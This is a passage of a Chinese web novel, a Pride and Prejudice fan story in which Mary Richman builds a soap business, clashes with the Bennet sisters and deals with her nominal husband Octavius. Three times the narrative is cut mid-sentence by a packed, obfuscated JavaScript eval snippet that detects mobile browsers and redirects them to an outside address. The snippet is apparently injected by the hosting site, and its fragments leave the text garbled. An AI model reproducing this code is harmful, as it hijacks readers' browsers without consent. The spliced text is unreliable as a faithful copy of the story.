而威克汉姆呢？对方是一个中尉，一个中尉要被怎么样，一定是再上面的军官开了口。 玛丽想到了自己这两天在伦敦赚到的钱，如果昨天的事情真是威克汉姆做的，那么现在军团里的上级知道了，会生气不难想象。转手就能赚到好几百英镑的交易平白没了，是个人都会生气。 只是，为什么？ 结合刚才莉迪亚的表现，不会她才是阻扰交易的人吧？玛丽没觉得自己得罪过这位啊。 回到家一会儿，茉莉就带来了答案。 “玛丽，你一定不知道发生了什么！” “天哪，我听知道的人说，威克汉姆被军团罚款了，足足400英镑呢！”这一定是犯了大错，才会罚这么重的。 400英镑，这个金额很接近转手交易的真正差价了。看来，事情确实是这对夫妇做的，至少是其中一个人。至于这么做的原因，茉莉也没打听出来。 那就算了，本来就没什么交情，以后怕是要更加远离一点。 玛丽想到了之前另一个玛丽发出的婚礼邀请，如果说之前还有可能去，现在完全不用去想了。再说了，她都结婚了，更没了过去的理由。 上次私奔的事情达西先生能压下来，这回的事情呢？他会垫上这笔罚款吗？ “不，威廉，这跟你没有关系！”伊丽莎白没等未婚夫开口，就先说了拒绝的话，“莉迪亚，你已经结婚了，是个威克汉姆了。自己做的事情，你自己负责！” “我可以负责，但是你们要知道，我是为了帮玛丽才这么做的。玛丽，我的好姐姐，你说是吗？”莉迪亚很快就拉了人下水。 玛丽·班纳特一下子成了所有人注视的对象，她受不了这个压力，哭着跑了出去。 跑着跑着，就看到了另一边里奇曼的家。 那天，她就是在那里看到了让她心动的人。 “玛丽，另一个玛丽来了。” 11. 第 11 章 刚说了要远离，怎么还找上门来了？是因为之前在路上不方便说清楚吗？玛丽带着疑问，还是去见了人。 鉴于刚发生的事，她没有邀请人进来。 “玛丽，我很抱歉莉迪亚的无理，她只是一下子无法接受她的丈夫出了事。”玛丽·班纳特见到了人，也不在乎自己没被邀请入内，“真的没办法补救了吗？或许你可以去和军团说说？” 也许里奇曼去了，军团那边会改变想法。 “我去军团说，我说什么？玛丽，我到现在都不明白是怎么一回事。”所以，先给个解释吧。 玛丽·班纳特一听，刚擦掉的眼泪差点又要掉下来。但是，她是不会在这个玛丽面前哭的！ “是一个误会。” 当然是一个误会，班纳特很快就将事情的前因后果说清楚了。只不过在她的叙述中，一切都是莉迪亚开玩笑的，她没想到军团的人会当真。 “可我还是不明白，莉迪亚为什么要这么做？我没有得罪过她。”一个士兵会因为中尉新婚妻子的话，坚持将合作对象拦在门外吗？这话，玛丽一个字都不信，但这不妨碍她继续问。 “没有没有！只是莉迪亚太喜欢炫耀了，她想试试威克汉姆太太能做什么，她不是有意的。”班纳特将所有的错都归咎于莉迪亚的虚荣。 “你这么一说，我倒是能理解。然而事情已经发生了，我的土豆也都留在了伦敦。没有货物，我也不好意思去找军团。”玛丽暂时接受这个说法，去军团的建议被她婉拒。 “真没有办法了吗？玛丽，帮帮我。我不想家里因为这件事，让接下来丽兹的婚礼也陷在忧愁里。” 玛丽摇头，她就算是有办法，也不会掺和进去。其实让莉迪亚记住这个昂贵的教训也是好的，免得以后再出更大的纰漏。 “那怎么办呢？玛丽，你的丈夫艾提斯先生呢？结婚那天，他家里人看起来就很体面，能让他帮忙去和军团说说吗？”最好，是他本人出面，“对了，他人呢？” 婚后第一天就离开的人，这都第二天了，还不回来吗？ “抱歉，玛丽，这个忙我丈夫他帮不上。而且，他是有事才走的，暂时不回来。”虽然是名义婚姻，可玛丽还是看出了面前玛丽的别有心思。 联想到那天她看到人跑掉的样子，她还有什么不明白的！或许借着莉迪亚的事情来找她是假，打探她迷人的丈夫才是人真正的目的！ “你问问他吧，人回不来，你可以写信！如果你觉得麻烦，你可以把地址告诉我，我来写！”要到了地址，就有了联系。有了联系，艾提斯先生就会明白她的好。 “这恐怕不合适。”玛丽拿开了有人激动中抓上来的手，“玛丽，这件事找我的丈夫，不如去找还没走的达西先生。相信以他的人脉，很容易就能解决威克汉姆的困境。” 好了，她该离开了。 再说下去，对方极力要隐藏的目的估计也快瞒不住。 都是生活在朗伯恩的，玛丽就算是想远离，也不想事情闹开来直接划清界限。毕竟，乡绅的地位在小村庄甚至是梅里顿都有影响，她不想成为被孤立的那一个。 “说到底，你就是不想帮忙！玛丽·里奇曼，我没想到你这么自私，艾提斯先生明明可以帮上忙的！还是说，你知道自己写信没用，因为你的新婚丈夫根本就不喜欢你！不然，他也不会第二天就离开了你！” 已经转过身的玛丽听到这个，再次转了回来。 她仔细地观察班纳特现在的状态，说了刚才的那些话后，她的呼吸是急促的，整个人也是不安的。觊觎别人的丈夫这件事，多少还是让她觉得心虚吧。可心虚又怎么样呢？该说的该做的，她哪样少了？ 玛丽之前不想戳破，是想维持一个稳定的生活环境。但如果有人都不客气地找上了门，她也不会忍让。 她以为最先来的这个人会是她丈夫的家里人，没想到玛丽·班纳特先跳了出来。 “班纳特，你为什么到这里来，你自己清楚，我也看懂了。别借着莉迪亚说事，你现在的行为并不比她高尚。”看着人睁大的眼睛，玛丽并没有停止警告，“虽然班纳特是朗伯恩的乡绅，但这样的乡绅全英格兰多得数不清。” “你以为，你家经得起多少事？莉迪亚跟人私奔才被压下来，你要是再出了丑闻，达西先生还会娶你的姐姐吗？妹妹们一个个的出问题，姐姐再好，男方也是要考虑一下的。” “毕竟，他只是想娶一个妻子，而不是妻子那一家子的麻烦！” 玛丽·班纳特吓坏了，不仅仅因为她的想法被人看穿，还因为里奇曼知道莉迪亚私奔的事，她还威胁她！ “你乱说什么！谁私奔了，没人私奔！丽兹会成为达西太太的！”简也是，她会是未来的宾利太太。 “是不是乱说，你想让大家来评一评吗？大家的眼睛都是雪亮的，朗伯恩里发生的事情，又瞒得了谁呢！” 尤其那段时间忙进忙出的，玛丽就算是没看过小说，也会知道那时候的班纳特一家问了出题。更何况，她知道事情的发展。 才说完，玛丽就看到了女主角的到来，她的未婚夫就等在不远处。 “玛丽，打扰了，我来带她回去。”伊丽莎白加快脚步来到里奇曼家的门口，那两人的情况明显不对，她很担心自己的妹妹乱说了些什么。喜欢一个已婚男人可以，但跑到对方的新婚妻子面前就不对了。 “伊丽莎白，一个忠告，别让你的妹妹们拖累你。你的未婚夫能帮一次，能帮两次，可他会永远帮下去吗？”不等人回答，玛丽就走进家门，不再理会外面的人。 “玛丽，你在想什么？！”伊丽莎白生气了，拉着人就走。 很显然，在她没来之前，她妹妹已经做了让人生气的事。不然，一向和善的里奇曼怎么可能这么说话！ “丽兹，怎么办？她什么都知道！”被拉着走出去好远，玛丽·班纳特这才慌起来。 里奇曼肯定不会放过她的，她完了。 “现在知道害怕了，那你刚才为什么要来这里？你自己做了什么，你自己知道。”莉迪亚是这样，玛丽也是这样，她的妹妹们什么时候才能懂事一点，别给家里添麻烦？ 伊丽莎白只管将人带回去，后面的事情就交给父母处理，她不管了，也让未婚夫别插手。 至于里奇曼，相信对方不会乱说。她都提醒自己了，那就没有恶意。 没有恶意的玛丽总算是知道了事情的大概，没能和军团达成交易这件事，居然是班纳特家的姐妹花做的。一个为了帮姐姐也为了炫耀，一个干脆盯上了她名义上的丈夫，所以就搅黄了她的生意。 可惜做坏事，是要付出代价的。 莉迪亚的丈夫本来就要前往纽卡斯尔，现在更是遭到了上级的厌弃，他还为此背负上了疑似400英镑的罚款。这对夫妇都能在路上争论起来，可见威克汉姆也是忍受不了他妻子的愚蠢。有这么一件事在，莉迪亚向往的婚姻生活不会顺利了。 至于另一个玛丽，她都能看上别人已婚的丈夫，估计也是读书读傻了。这要是不收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723186|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思，别说找不到丈夫，她自己就能把自己逼疯。 才见了一面就能跑到她面前来，她忍不住的，这件事迟早会在朗伯恩传开来。等传开了会是什么下场，反正不会有好下场。 而玛丽呢，尽管没能和军团做成生意，但她很好地在伦敦翻了身。 要不是班纳特姐妹花的阻止，她今年还没打算将生意做去伦敦呢！里奇曼先生和里奇曼太太的离开，也只是让她有了前往伦敦的想法，但最快也是明年去。 现在好了，一下子感受到了伦敦的好行情，这让她怎么甘心放着大把的英镑不赚呢！ 10月还没走完，今年地里的产出全部换成了收益，就等着年尾到来卖活猪了。至于鸡，还继续下蛋。肥皂的话原来的供应不变，新的试验也跟上。 这个月的第二个交易日，玛丽还是带着960块晾好的肥皂前往梅里顿。换来了12英镑的同时，也再次给了税务官一些好处。 “我们这边的军团已经换防了，一部分军官都去了纽卡斯尔，新人们也在陆续到。”税务官当然知道最近发生在梅里顿和朗伯恩的事情，他可没忘记上一次自己收了好处后出现的男人。 之前不知道对方是谁，现在还能不知道他是谁吗？他就是眼前里奇曼小姐的新婚丈夫，艾提斯先生！ 这个消息，税务官谁也没说。 他一直知道里奇曼小姐和军团的交易，也知道这里面吃亏的人是她。可这是她自己的选择，没人强迫她。去了一回伦敦后，相信这位新的艾提斯太太会做出更好的选择。 而他能做的，只是在军团那边要派人去朗伯恩时，警告了对方。所以今天的好处，他拿得很心安。 怪不得最近朗伯恩很平静，原来是威克汉姆已经走了。对方去了纽卡斯尔，那么身为妻子的莉迪亚肯定也是跟着去的。加上达西先生回了德比郡，而宾利先生住在尼日斐庄园，稍微安静点也正常。 几天前小教堂的见面，大家还互相打招呼呢。就是那个玛丽生病了，她没去。至于罚款问题，暂时不清楚怎么处理的。 玛丽告别了税务官后，去了木匠那里看看模具。这回要的量多，估计月底才能交货。 也行，她就回去继续小批量试验，顺便等待新的工作间改造好。 买来了那么大的设备，总要有地方安置。之间的小房间不够用了，她把外面的一圈给围了起来，分成了单独的3个小工作间。熬油脂一间，皂化一间，最后一间用来成型。 晾晒还是放在家里的三楼，那上面的空间足够大。 这要是一切顺利的话，目前在做的牛奶皂按照计算，每块的成本完全可以压缩到半个便士。即便是两个半便士出货，一次做个500磅也就是2000块皂，税前就能有超过16英镑的收入。 16英镑多看着是比之前出货的12英镑多不了多少，但是时间成本节省了下来。 本来玛丽一个人做皂都是按周来算的，10天交货960块。等到工作间改造好了，她再叫上贝茜和茉莉，3个人合作下来，两天就能做成2000块。剩下的时间，只等着成型的皂硬化好。 牛奶皂降低了成本，其他的皂也不能落下。 抱着新模具的缩小版，玛丽坐上了回程的马车。这几天她已经确定好了薄荷皂的配方，可以先少量做出来看看。相比于牛奶皂，薄荷皂的成品会因为模具的改动变得更加精致。 当然，价格上也会稍微贵一点。 “吁——”她正想得好呢，坐着的马车突然停了下来。 12. 第 12 章 玛丽往外一看，原来是军团的理查德先生在前面。 “日安，理查德先生。”知道这位前几天去朗伯恩找过她，不过不凑巧，那时候的玛丽正在伦敦呢。 “日安，艾提斯太太。”理查德当然不是来找麻烦的，“我刚看到了你和伦敦商人之间的交易，鉴于我们之前良好的合作基础，这门生意我们也可以做。” 一下子没有了那么多额外的收入，包括理查德在内的军官们肯定要从其他地方补回来。肥皂就是一个很好的突破口，这也能和艾提斯太太继续保持合作关系。 军团需要肥皂这没有问题，但做生意，拿去直接卖给军团吗？玛丽猜测了一下，并不排斥这个想法。 “理查德先生，请详细说。” “你有多少我们要多少，只要价格合适！”肥皂虽然单价低，但是军团介入的话，要的量就会多起来。这量一多，利润也不会少。 “这真让人心动，可是理查德先生，我家只是小作坊，怕是提供不了多少的。再说，我还和伦敦的商店有合作呢，得优先保证对他们的供货。”目前对伦敦的出货价是每块3便士，军团给多少呢？ “艾提斯太太，我们可以开军团的证明。只要你的肥皂是在军需目录中的，一旦我们合作，你后续要交的税就能减免一大半！” 减税是很大的吸引力，玛丽很想一口气答应。奈何库存不多，而新设备还没上场呢。就算是用上了新设备，刚做出来的皂也得晾1个月以上才能出货。 “理查德先生，我很想现在就答应你。可惜家里的库存实在不多，量太少了你们也嫌弃。这样吧，等我新的工作间改造好了，我们再来细谈这个事。”要等到下个月。 “好，那我就等着艾提斯太太你的好消息了。”理查德退开几步，没再拦着马车。 马车重新起步，玛丽也在心里算这笔账。 等到工作间改造好，她的制皂小作坊每两天可以产出2000块牛奶皂，一个月就是3万块。最早的出货期预计在下月底，之后的出货就能稳定下来。 要是军团要的量多，每块的价格可以给到2便士，2000块的税前收入就是4000便士。有了军团开的证明，原来7%的税直接降到3%，只需要120个便士。 平摊下来后，每块的成本还是在半便士以内，也就是每两天的利润可以超16英镑。这利润，跟两个半便士给伦敦的合作商店差不多。 真要是和军团那边合作顺利了，一整年下来玛丽单靠牛奶皂就能赚个3000英镑！ 而这，还仅仅是每两天产出2000块，要是再加几套设备呢？打住，先赚到3000英镑再说！赚到了，再去梅里顿开设制皂厂。 之后回到朗伯恩，玛丽就盯着工作间的改造。 锅的高度要适宜，皂化槽和搅拌工具一定要安装顺滑，原有的模具也不要丢。对了，仓库里的木材不能断，草木灰可以先过滤起来。 忙着工作间的同时，玛丽也不忘让老约翰他们做好冬季土地的保养和维护。之后几个月，地里会种上豆类等其他作物，来增加土地的肥力。薄荷那一小块不用动，明年它自己又会长出来，今年的都已经收上。 唉，200英亩土地还是不够用啊。要不，去问班纳特家租一些？还是说，直接买附近几乎没人用的地？ 里奇曼家的200英亩周围，还有一些相对贫瘠的地方。那里既没有住人，也没有人开垦，就这么一直荒废着。不如她买下来好好改造一番，别浪费了。 然而一打听，这买地的流程太复杂了。尤其是涉及无主权归属的地，乡绅、教会、村民们等等关节都要打通，才能保证买卖顺利交易。 那就再考虑一下吧，先把肥皂的生意做做好。 10月的最后几天，班纳特一家在宾利先生的护送下，踏上了去德比郡的旅途。玛丽则带着贝茜和茉莉，进入了新的工作间开始熬油脂。 直径40英寸的铜熔锅一口气能熬超过500磅的猪油，当然她们用不了这么多，但备着也不会坏。 切好的板油块下锅，最底下铺满后，玛丽就暂停了这个动作。为了方便搅拌，她等锅里的板油出油后，再继续下板油块。一次又一次重复下来，铜熔锅里的猪油也越来越多。 从上午熬到下午，3人总算把这次从屠宰场拉来的650磅猪板油全部投在了锅里。之后，还需要粗布过滤，并把油渣分离出来。 做完这些，玛丽得出了这次的出油率，差不多在82%，也就是得到了533磅的猪油。 这么多一次性肯定用不掉，下一次加热后再用。 忙完了这个步骤，3人从这个工作间来到隔壁。先把刚从地窖里拿出来的冷藏牛奶倒入皂化槽，然后再将提前几天就静置好的草木灰碱液小心倒进去，边倒边搅拌。 这个工作全程由玛丽自己来完成，毕竟她是熟练工。当然，她也没忘记告诉贝茜和茉莉要注意的点。 “这些不能直接接触你们的皮肤，会痛的，所以一定要小心。”还有，搅拌的时候要时刻观察混合了牛奶的碱液温度，过高了皂液就容易发黄。 这一步完成后，就可以加入刚过滤好的猪油了。过去了一段时间，猪油温度已经降下来，和混合了牛奶的碱液温差不会太大。 玛丽让出了自己的位置，剩下的就是搅拌，这是个力气活，3人需要换着来。 当傍晚来临，皂化槽内的皂液终于达到了理想的状态，也就是浓稠的酸奶状。将最后的盐水加入，差不多就可以入模了。 贝茜留着继续搅拌，玛丽和茉莉各自拿着木桶来装。模具间的模具都已经组装好，是10*10的长方形规格，今天她们要填满20个这样的模具！ 将皂液倒入模具后，抖一抖震一震，再把边缘刮干净，一板模具就可以盖上木板铺上稻草。接着新模具放上来，继续刚才一样的流程。 耐心点、仔细点，这个工作一点也不难。 等到所有的皂液刮干净，叠起来的模具居然有21板！这说明皂化过程和入模的时候，损耗比想象的更少。 “好了，我们最后收拾一下。”一切还是很顺利的，玛丽算好的配比没出错，就等明后天牛奶皂脱模了。 简单洗漱后，大家用了一顿丰盛的晚餐，然后各自休息。 第二天玛丽检查了模具里的成品，这脱模估计还要等一晚上。也行吧，两天内脱模都算是正常的。 “小心一点，我们的模具都已经和肥皂紧贴在一起，要慢慢敲开，才不会破坏皂的形状。”模具最外面的四边木档条先拆，拆完了就能得到最外围的36块牛奶皂。 “看，很不错。”乳白色的皂体，就说明成功了。 跑了几趟三楼，3人将剩下的牛奶皂全部脱模后一并送去熟化。差不多一个月以后，玛丽就能联系理查德先生了。至于伦敦那边的合作商，他们的货暂时还用库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723187|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存。10天960块的量，现在做一次就能管两个交易日。 做好了这些，新一轮的制皂又开始。 中间空着的一天大家也没有浪费，已经把要用的猪油提前熬好。刚才脱模的时候加热化开，再等一会儿就能用上。 取来牛奶，加入准备好的草木灰碱液，这回贝茜和茉莉一起来做这个。 她们都戴着羊皮手套，也戴着亚麻布的简易口罩，一人倒碱液，一人负责搅拌，分工很明确。等到了加猪油的时候，再换过来。 全部过程中，玛丽都没有插手。 她不可能次次都自己来的，总要带出熟练工来。以后增加了设备，她们的用处大着呢。 这么几次以后，两人就完全了解了制皂的过程。后面再做时，玛丽就只在旁边做她的薄荷皂。 等到班纳特一家回到朗伯恩时，日子已经过去了20多天。在梅里顿交完货后，玛丽让车夫直接去驻军处找理查德先生。 “艾提斯太太，我们少尉说了，你来了就去叫他，你稍等！”又是一个没见过的士兵，不过这回这个和之前的相比，明显热情了很多。 玛丽还没等上5分钟，理查德先生就匆匆跑来。 “哦，艾提斯太太，我一直盼着你过来！”上一次见面还是10月20日，今天正好11月20日，刚刚好满一个月。 “理查德先生，这是我的制皂作坊产出的牛奶皂，你看看。”玛丽打了招呼后没有废话，直接进入主题，“当然，这只是样品，但我保证这和我给伦敦商人的质量是一样的。” “看着确实不错，给我端盆水来。”理查德要现场验证一下，“艾提斯太太，这只是正常的流程。” “我知道，你试吧。”这没有什么，她做的皂质量肯定是过关的。一会儿还要谈价格，那才是重头戏。 理查德当然没有自己试，他叫来了刚训练一半的士兵，让他当场洗手洗脸。 这一洗下去，原本象牙白的牛奶皂瞬间就变成了深色！等换了水后，脏透了的士兵和牛奶皂才一起变回原来的颜色。 玛丽看着凑热闹的人离开，又看着一位军衔更高的人进来。对方不像是军官，更像是一位政客。 “艾提斯太太，我这边给你开证明，还直接付现金，你给我一个好价格。”来人没有自我介绍，也没让理查德介绍。 “好的价格是跟你们要的量挂钩的，相信军团也打听过，伦敦商人在我这里的拿货价是每块3便士，那是一次拿960块牛奶皂的出货价。”玛丽给了一个衡量标准。 “我们要的肯定不止这些，而且，我们会是长期要。艾提斯太太，2便士的价格怎么样？”军官来前已经做足了准备，“我知道做这个牛奶皂是需要时间的，所以你可以分批次交货。交一次货，算一次账。” “可以。5天交一次货，一次4800块，正好是40英镑。”有问题吗？ “最快什么时候可以交货？”军官没有异议。 “10天后，也就是11月30日。下一次的话，是12月5日。我们逢五逢十交货，这样也不会记错。” “那我们11月30日那天见，到时候我会带着证明，带着40英镑。对了，我还会叫上税务官。”这样，这位年轻的太太就没什么好担心的。 “好，那我们就那天再见。”玛丽起身，口头交易结束。 “等等，艾提斯太太，有一点我要说明一下——” 13. 第 13 章 “——一旦我们交易成功，这牛奶皂军团怎么处理，就和你无关了。” “那当然，我只负责收钱交货，不会过问你们怎么处置你们自己的所有物。”这一点放心，玛丽没有那么多的精力，也没有那么多的好奇心。 之前的土豆都能转手卖的，牛奶皂如果也是用来转手，再正常不过。 相比于之后牛奶皂的去处，玛丽其实更想知道军团的人会以多少的价格出手。她以2便士的价出货，一年统计下来就能赚到3000英镑。那么军团翻个倍以4便士甚至是更高的价转手，赚得只会比她多！ 啧啧，这可比之前的土豆有赚头。毕竟土豆一年一茬，牛奶皂却是5天供一回货的。 “理查德先生，10天后见。” 离开军团后，玛丽就直接回了。她想着明年的种地安排，既然土豆更赚钱，那么小麦就少种点。在自用的基础上翻个倍就差不多了，毕竟得交税。 剩下的地都种土豆，也把洋甘菊、薰衣草给种上。虽然现在制皂还用不上，但有备无患。草本收上来都是要制成干花的，不怕长时间保存。更适合冬季的迷迭香马上就会种，而来年的薄荷更会扩大种植面积。 家里最近的50头猪活得很好，因为制皂后多出来的油渣都给它们吃了。一个月后，估计还能长不少。 这么想着，玛丽心情不错。 她的下一个小目标是宾利先生的5000英镑年收入，算一算距离这个金额不会远了。最多一年，她就能超过去。 朗伯恩到了，玛丽下了马车。她才站稳，就看到另一个玛丽哭着从她家里跑出来。经过她的时候，还狠狠地瞪了一下她！ 她来这里干什么？她怎么敢再来？难道说去了一趟德比郡，这胆子更大了？ 还是说—— 哦，原来是艾提斯先生她这个名义上的丈夫回来了，怪不得呢！ 玛丽看到了站在客厅里的人，再次见到，她心里还是有点想法的。没办法，长得好就是有优势。不过他现在心情不太好，估计和刚才跑掉的玛丽有关系。 但即便是心情不好，这人看上去也只是换了一个好看的方式，并不妨碍玛丽多看几眼。 “太太，你回来了。”胖管家及时出声，他甚至还过来接过了玛丽解下来的斗篷。 “是啊，回来了，你们什么时候到的？”既然有人接手，她也不客气。至于跑出去的另一个玛丽，还是不提了，没什么必要。 “刚到没多久，玛丽，我能提一个建议吗？”奥克塔维厄斯看到了自己的妻子，相比于他的心情差，她就开心多了，外面的阴雨天都没能让她的笑脸消失。 突然被叫了名字，玛丽还挺不习惯的，偏偏她还不能纠正。一个丈夫要叫自己妻子的名字，这不是理所当然的吗？要还是叫着先生小姐的，万一被外面的人听到了，别人会怎么想？ “你先说说。”心里念了几遍“奥克塔维厄斯”，这名字挺拗口的，玛丽暂时叫不出来。 “我想在外面围上栅栏，再多一道门，这样别人就不会随便跑进来。”他人才刚到，和妻子同名的那女孩就跟着来了。听听她说的都是什么，现在的未婚女孩都这样轻佻了？ “可以，不过既然是你建议的，这件事你自己搞定。”前后联系一下，玛丽很快就想明白了这个建议是怎么来的。 “行，那我就交给威廉了。”奥克塔维厄斯解决了一个麻烦，心情稍微好了点，“我带了一点东西回来，给你看看。” 玛丽没想到这东西会是成套的珍珠首饰，这可比她自己买的那套亮眼多了。珍珠比她的大不说，就连光泽都是不能相提并论的。 “真漂亮，但是我们之前说好的，我不收这些。”看看就好了，玛丽肯定不会收。 “我知道，这放在我房间里。当然如果你需要，你可以借用。”合同是合同，奥克塔维厄斯有的是办法规避上面的条款。 “我借用的可能性不大，不过这里是小村庄，你不怕被偷吗？”朗伯恩已经好久没发生这样的事情了，可万一呢？ “谁来偷？准备下手的人是想上绞刑架吗？我会送他上去的。”说到这个，奥克塔维厄斯想到了自己留下来的两个人，“托马斯和亨德森怎么不在？” “他们总是想帮忙，我就让他们去屠宰场拉板油回来。”都是自愿的，她可没强迫。 “屠宰场拉板油？”也就离开了一个多月，这里发生了什么？ “没错，我改造了我的工作间，所以需要的板油就比较多。”需求一多，总要有人去拉的。家里添置了一辆运货马车，来回还算方便。 行吧，既然留下了人，干什么用她说了算。 “说起来，我还没看过你的工作间，介意我参观一下吗？”外面下大雨了，奥克塔维厄斯不想待在太闷热的壁炉边。 “贝茜和茉莉正在忙，先去看一下三楼吧。”那两人跟她说过，她们不太敢接近这位，怕自己多想。其实没有必要，但如果这么做能让人安心工作的话，玛丽会满足的。 三楼的全部房间早就派人清理干净了，这里现在只有根据制皂时间摆放的还在熟化的牛奶皂和薄荷皂。 “这一间是马上要出货的，10天之后就会腾出来一部分。”打开门口写着上个月日期的房间，玛丽提醒了一下，“会有点多。” 有点多这种说法，实在是太客气了。在奥克塔维厄斯眼里，这是非常非常多！ 早在结婚之前，他就知道里奇曼小姐在做手工皂，拿去给伦敦商人的。但当时，不是说量很少吗？ 眼前的这些，一层叠着一层，叠得高高的，数都数不清！ “玛丽，这完全出乎了我的意料。”不得不承认，这看着很震撼，奥克塔维厄斯不由地数了起来。 只有两个人的三楼，自己的名字再次被叫出，即便这个名字很普通，玛丽还是觉得有点不自在。好在，对方只顾着数数了，没有注意到。 “我数花眼了，这里大概有多少？”眨了下眼睛，他刚才数的是哪一层？看起来都一样的，有人干脆直接问。 “6000多块。”这里放着的都是10月26日、28日和30日这三天做出来的，比预计的要多。 “那也很多了，全部找好销路了吗？”如果没有的话，或许他能帮上忙。 奥克塔维厄斯回头，他太长时间不在了，即便是名义上的婚姻，他也想帮点什么。而刚刚他的妻子说，10天之后只会腾出来一部分。 “找好了，是分批发货的。别看现在多，到时候出得也快。”玛丽将门关上，其他的房间都是这个月才做的，她只开了门让在门外看看，没让人进去。 “那就好。”不知道为什么，奥克塔维厄斯有点失望。下楼来到二楼，他就直接回房间了，说要休息一下。 “好好休息，晚餐见。”等到人走进了房间，玛丽这才去到工作间。 今天她去了梅里顿，都没做薄荷皂呢，要补上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723188|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “贝茜、茉莉，我回来了。”当然在这之前，她要把好消息告诉大家，“放心，我都谈好了，月底我们的牛奶皂就能正常出货。所以，你们就别担心了，安心做皂就好。” 这两人因为近段时间做出来的皂数量越来越多，就愁会积压的事。 “这真是太好了！”说着，两人手里的搅拌也更快了些。 “对了，艾、我丈夫他回来了。”在工作间的两人应该还不知道。 忙着工作的人没回，反正她们是不会凑上去的，赚钱才重要。贝茜和茉莉互相看了一眼，又将注意力放在皂化槽里。 见两人没有回应，玛丽就自己忙起来。暂时她还用着老工具，因为薄荷皂适合天热一点的时候用，不急着做。但很快，新的设备还是要跟上。等出给军团的牛奶皂稳定了下来，就买。 11月冬天了，天暗得比较快，幸好猪油都是提前熬好的，只需要加热就行。这样一来，能节省很多时间。没等天黑，2000多块牛奶皂都入了模具。 “好了，你们不用陪着我，忙自己的事去。如果见到了我丈夫，就跟他说我在这里。”玛丽摆摆手，她今天做皂晚了些，还没皂化好呢。 “知道了，玛丽。”贝茜拉着茉莉，很快就消失在了工作间门口。 奥克塔维厄斯听说了妻子还在工作间，就过来看看。肥皂他也用，就是没亲眼见过都是怎么做的，今天倒是一次性都能看到。 “咚咚——”他敲门，很快就听到了里面的应答声。 “进来。”这时候会找来的，还会有谁？玛丽就是因为知道，所以没有拒绝。之前不是想看吗？进来看吧。 做皂没什么秘密的，猪油皂的配方很固定，差别就在于添加的东西不同，掌握的熟练度不一样。 目前市面上的平价皂她都看过了，粗糙得很。大小不一的，带着气泡的，有时候边缘利着也不管，就这还要卖好几便士呢！ 奥克塔维厄斯推门进来了，一进来，他没看到人，只看到了摆在架子上的一层层木板。一旁的桌面上，还放着很多的空格子，也不知道是干什么的。 “玛丽？” “我在里面。”好看的绿色已经变得浓稠，只需要加把劲，今天的工作就能完成，“有点乱，你小心点。”听到了脚步声，玛丽提醒了一下。至于名字，多听了就习惯了。 嗯，这是一个把自己包起来的认真工作的人。 奥克塔维厄斯看到了他的妻子，只是她的脸上蒙着布，手上也戴着手套。她手里拿着什么，正在不停地搅拌着。 “这是什么？和我之前在三楼看到的不一样。”那边的牛奶皂是很漂亮的白色，现在的绿色也很清新，是不同用处的吗？ “是薄荷皂，适合夏天的时候用，用完会有一种清凉的感觉。”颜色是卖点，功效也是卖点，再加上改进的模具和包装，价格肯定也会贵一点。 但实际上，平摊下来的成本还是不到半便士！ 原来是薄荷，怪不得这颜色好看。 “那你这样，还需要搅拌多久？”看着挺累人的，男人都想上去帮忙了。 “快了，再15分钟吧。别，你别过来，弄脏衣服就不好了。”休息过后的人已经换了一身，一看就知道很贵！ 奥克塔维厄斯迈出去的脚步停在了原地，那种感觉又来了，让人觉得不被需要，也被排斥。他当然知道自己的婚姻是怎么一回事，当初说好的时候并不觉得，现在他有些后悔。 14. 第 14 章 不是说他后悔结婚，也不是后悔找了里奇曼小姐做妻子，奥克塔维厄斯只是觉得两人的相处可以不必要这么客气。 像之前她刚回来时候就好，一切都很自然，给人一种有家的感觉。 等等，他在这里已经找到了家的感觉吗？这太不可思议了，他才住过几天！ 奥克塔维厄斯有点不敢相信，或许这只是他的错觉。离开了伦敦，离开了那些烦人的事，他只是在这里不用防备，可以轻松一些。 换到别的任何一个地方，都是同样的效果，对吧？ 给自己找出来的答案打上了个问号，奥克塔维厄斯就看到人很轻易地抱起一只木桶，经过他来到了他刚进来的那个房间。 “接下来的工作很无聊的，你要是不想看了可以先走。”玛丽要入模了，一会儿会顾不上别的。 “没事，你不用管我。”奥克塔维厄斯想再待一会儿，他总得弄明白现在的情况。 那行吧，玛丽之后就真不管他了，只忙着自己手上的工作。天就要黑了，她得加快点速度。 男人就这么看着，他记得那天两人的第一次见面。 那时候，他已经被催婚有一段时间了。根本不想接受联姻的人庆幸自己不再是小时候那样弱小，他想到了解决这件事的办法。 威尔士亲王不是一直厌恶他的存在吗？只要把消息透露给他，对方就会行动起来。为了让人更有动力，奥克塔维厄斯甚至将收集起来的适婚公主们的信息都送出去。 